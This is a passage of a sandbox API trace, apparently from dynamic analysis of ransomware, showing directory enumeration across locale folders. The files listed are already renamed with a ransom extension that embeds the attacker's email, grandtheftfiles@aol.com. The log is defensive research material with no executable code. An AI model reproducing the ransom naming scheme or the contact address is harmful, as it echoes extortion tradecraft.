	[0152.930] FindNextFileW (in: hFindFile=0x5ba770, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9e35bef6, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9e35bef6, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9e3ebb4a, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="SETUPR~1.GTF")) returned 1
	[0152.930] FindNextFileW (in: hFindFile=0x5ba770, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9e35bef6, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9e35bef6, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9e3ebb4a, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="SETUPR~1.GTF")) returned 0
	[0152.930] FindClose (in: hFindFile=0x5ba770 | out: hFindFile=0x5ba770) returned 1
	[0152.931] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0152.931] FindNextFileW (in: hFindFile=0x5ba530, lpFindFileData=0x310fa7c | out: lpFindFileData=0x310fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9e4ad720, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9e4ad720, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x808, dwReserved1=0xffffb8f5, cFileName="1032", cAlternateFileName="")) returned 1
	[0152.931] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4130060
	[0152.931] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1032\\*", lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9e4ad720, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9e4ad720, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName=".", cAlternateFileName="")) returned 0x5ba2f0
	[0152.932] FindNextFileW (in: hFindFile=0x5ba2f0, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9e4ad720, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9e4ad720, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="..", cAlternateFileName="")) returned 1
	[0152.932] FindNextFileW (in: hFindFile=0x5ba2f0, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9e4ad720, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9e4ad720, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9ecee038, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x2394, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="EULART~1.GTF")) returned 1
	[0152.932] FindNextFileW (in: hFindFile=0x5ba2f0, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9dc34d6d, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9dc34d6d, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9ed14113, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x15206, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="LOCALI~1.GTF")) returned 1
	[0152.932] FindNextFileW (in: hFindFile=0x5ba2f0, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9f1b4a64, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9f1b4a64, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f1d8c2a, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x4c58, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="SETUPR~1.GTF")) returned 1
	[0152.932] FindNextFileW (in: hFindFile=0x5ba2f0, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9f1b4a64, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9f1b4a64, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f1d8c2a, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x4c58, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="SETUPR~1.GTF")) returned 0
	[0152.932] FindClose (in: hFindFile=0x5ba2f0 | out: hFindFile=0x5ba2f0) returned 1
	[0152.933] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0152.933] FindNextFileW (in: hFindFile=0x5ba530, lpFindFileData=0x310fa7c | out: lpFindFileData=0x310fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9e3a83aa, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9e3a83aa, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x808, dwReserved1=0xffffb8f5, cFileName="1033", cAlternateFileName="")) returned 1
	[0152.933] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4130060
	[0152.933] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1033\\*", lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9e3a83aa, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9e3a83aa, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName=".", cAlternateFileName="")) returned 0x5ba770
	[0152.934] FindNextFileW (in: hFindFile=0x5ba770, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9e3a83aa, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9e3a83aa, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="..", cAlternateFileName="")) returned 1
	[0152.934] FindNextFileW (in: hFindFile=0x5ba770, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9e30fbad, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9e30fbad, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9e3820aa, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0xd64, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="EULART~1.GTF")) returned 1
	[0152.934] FindNextFileW (in: hFindFile=0x5ba770, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9e3820aa, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9e3820aa, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9e3a83aa, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x12eb6, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="LOCALI~1.GTF")) returned 1
	[0152.934] FindNextFileW (in: hFindFile=0x5ba770, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9f1405cf, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9f1405cf, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f1405cf, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x4458, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="SETUPR~1.GTF")) returned 1
	[0152.934] FindNextFileW (in: hFindFile=0x5ba770, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9f1405cf, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9f1405cf, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f1405cf, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x4458, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="SETUPR~1.GTF")) returned 0
	[0152.934] FindClose (in: hFindFile=0x5ba770 | out: hFindFile=0x5ba770) returned 1
	[0152.935] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0152.935] FindNextFileW (in: hFindFile=0x5ba530, lpFindFileData=0x310fa7c | out: lpFindFileData=0x310fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9ee6b6c6, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9ee6b6c6, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x808, dwReserved1=0xffffb8f5, cFileName="1035", cAlternateFileName="")) returned 1
	[0152.935] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4130060
	[0152.935] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1035\\*", lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9ee6b6c6, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9ee6b6c6, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName=".", cAlternateFileName="")) returned 0x5ba770
	[0152.936] FindNextFileW (in: hFindFile=0x5ba770, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9ee6b6c6, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9ee6b6c6, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="..", cAlternateFileName="")) returned 1
	[0152.936] FindNextFileW (in: hFindFile=0x5ba770, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9e3a83aa, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9e3a83aa, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9ed14113, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0xf64, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="EULART~1.GTF")) returned 1
	[0152.936] FindNextFileW (in: hFindFile=0x5ba770, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9ee6b6c6, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9ee6b6c6, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9fb625e1, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x12dd6, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="LOCALI~1.GTF")) returned 1
	[0152.936] FindNextFileW (in: hFindFile=0x5ba770, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9fbae905, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9fbae905, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9fc935d1, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="SETUPR~1.GTF")) returned 1
	[0152.936] FindNextFileW (in: hFindFile=0x5ba770, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9fbae905, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9fbae905, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9fc935d1, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="SETUPR~1.GTF")) returned 0
	[0152.936] FindClose (in: hFindFile=0x5ba770 | out: hFindFile=0x5ba770) returned 1
	[0152.937] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0152.937] FindNextFileW (in: hFindFile=0x5ba530, lpFindFileData=0x310fa7c | out: lpFindFileData=0x310fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9edaca42, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9edaca42, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x808, dwReserved1=0xffffb8f5, cFileName="1036", cAlternateFileName="")) returned 1
	[0152.937] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4130060
	[0152.937] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1036\\*", lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9edaca42, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9edaca42, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName=".", cAlternateFileName="")) returned 0x5ba770
	[0152.938] FindNextFileW (in: hFindFile=0x5ba770, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9edaca42, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9edaca42, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="..", cAlternateFileName="")) returned 1
	[0152.938] FindNextFileW (in: hFindFile=0x5ba770, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9ecee038, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9ecee038, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9edaca42, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0xeb4, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="EULART~1.GTF")) returned 1
	[0152.938] FindNextFileW (in: hFindFile=0x5ba770, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9ed3b3fd, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9ed3b3fd, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9ed60663, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x14516, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="LOCALI~1.GTF")) returned 1
	[0152.938] FindNextFileW (in: hFindFile=0x5ba770, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9fc935d1, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9fc935d1, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa017e332, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="SETUPR~1.GTF")) returned 1
	[0152.938] FindNextFileW (in: hFindFile=0x5ba770, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9fc935d1, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9fc935d1, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa017e332, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="SETUPR~1.GTF")) returned 0
	[0152.938] FindClose (in: hFindFile=0x5ba770 | out: hFindFile=0x5ba770) returned 1
	[0152.939] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0152.939] FindNextFileW (in: hFindFile=0x5ba530, lpFindFileData=0x310fa7c | out: lpFindFileData=0x310fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9f9e4aab, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f9e4aab, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x808, dwReserved1=0xffffb8f5, cFileName="1037", cAlternateFileName="")) returned 1
	[0152.939] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4130060
	[0152.939] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1037\\*", lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9f9e4aab, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f9e4aab, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName=".", cAlternateFileName="")) returned 0x5ba2f0
	[0152.940] FindNextFileW (in: hFindFile=0x5ba2f0, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9f9e4aab, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f9e4aab, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="..", cAlternateFileName="")) returned 1
	[0152.940] FindNextFileW (in: hFindFile=0x5ba2f0, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9ed3b3fd, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9ed3b3fd, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9eeddda8, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x1bb4, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="EULART~1.GTF")) returned 1
	[0152.940] FindNextFileW (in: hFindFile=0x5ba2f0, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9eeb7d84, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9eeb7d84, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f9e4aab, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x11a86, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="LocalizedData.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="LOCALI~1.GTF")) returned 1
	[0152.940] FindNextFileW (in: hFindFile=0x5ba2f0, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9fef5bef, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9fef5bef, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9ff1bdcc, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x4258, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="SETUPR~1.GTF")) returned 1
	[0152.940] FindNextFileW (in: hFindFile=0x5ba2f0, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9fef5bef, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9fef5bef, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9ff1bdcc, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x4258, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="SetupResources.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="SETUPR~1.GTF")) returned 0
	[0152.940] FindClose (in: hFindFile=0x5ba2f0 | out: hFindFile=0x5ba2f0) returned 1
	[0152.941] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0153.124] FindNextFileW (in: hFindFile=0x5ba530, lpFindFileData=0x310fa7c | out: lpFindFileData=0x310fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9f1664af, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f1664af, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x808, dwReserved1=0xffffb8f5, cFileName="1038", cAlternateFileName="")) returned 1
	[0153.124] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4130060
	[0153.124] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1038\\*", lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9f1664af, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f1664af, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName=".", cAlternateFileName="")) returned 0x41406d8
	[0153.125] FindNextFileW (in: hFindFile=0x41406d8, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9f1664af, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9f1664af, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="..", cAlternateFileName="")) returned 1
